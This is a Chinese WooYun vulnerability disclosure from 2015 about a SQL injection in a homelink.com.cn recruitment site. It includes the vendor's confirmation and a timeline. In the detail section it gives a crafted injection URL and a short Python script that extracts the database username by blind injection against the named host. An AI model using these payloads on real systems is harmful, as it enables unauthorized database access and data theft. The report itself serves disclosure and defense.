当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119783

漏洞标题:链家某子站存在SQL注入漏洞

相关厂商:homelink.com.cn

漏洞作者: danieluec

提交时间:2015-06-11 15:03

修复时间:2015-07-29 12:58

公开时间:2015-07-29 12:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-11: 细节已通知厂商并且等待厂商处理中
2015-06-14: 厂商已经确认,细节仅向厂商公开
2015-06-24: 细节向核心白帽子及相关领域专家公开
2015-07-04: 细节向普通白帽子公开
2015-07-14: 细节向实习白帽子公开
2015-07-29: 细节向公众公开

简要描述:

rt

详细说明:

用google发现了一个链家的招聘网站,有这样一个url:

http://www.homelinkhr.com/homelink/view_getPostListForCustomer.action?postType=DD060514&rows=10&page=1


QQ截图20150611140552.png


postType参数加引号,直接爆出数据库错误信息,

QQ截图20150611140514_副本.png


上sqlmap试了下,只能爆出数据库类型,

QQ截图20150611143214.png


经手工测试,发现用注释符注入,无用,估计是过滤了。构造几个or、and语句发现还是无用。
因此猜测错误信息中“isCheck = 'Y' ”其实是个永假。这时就可以构造一个and语句加一个or语句进行注入了。
下面对构造一个url,用burpsuite对数据库用户名长度进行爆破,

http://www.homelinkhr.com/homelink/view_getPostListForCustomer.action?postType=DD060514%27%20and%2014=length(user())%20or%20%271%27=%271&rows=10&page=1


发现用户名长度为14,

QQ截图20150611142537.png


下面就上脚本了,

# -*- coding:utf-8 -*-
import urllib2
user = ""
for i in range(1, 15):
for current in range(0, 128):
try:
url = "http://www.homelinkhr.com/homelink/view_getPostListForCustomer.action?postType=DD060514%27%20and%20ascii(substring(user()," + str(i) + ",1))=" + str(current) + "%20or%20%271%27=%271&rows=10&page=1"
req = urllib2.Request(url)
res_data = urllib2.urlopen(req).read()

if res_data.find("共有6条数据") > 0:
user = user + chr(current)
print "[+] The current user is: " + user
print ".........................................................."
break

except:
pass
print "[+] Done!"


最后发现用户为root,

QQ截图20150611142754.png


已证明有问题了,就不深入了。

漏洞证明:

QQ截图20150611142537.png


QQ截图20150611142754.png

修复方案:

实施更严格的过滤吧

版权声明:转载请注明来源 danieluec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-14 12:56

厂商回复:

谢谢,该系统为临时系统,马上下线。

最新状态:

暂无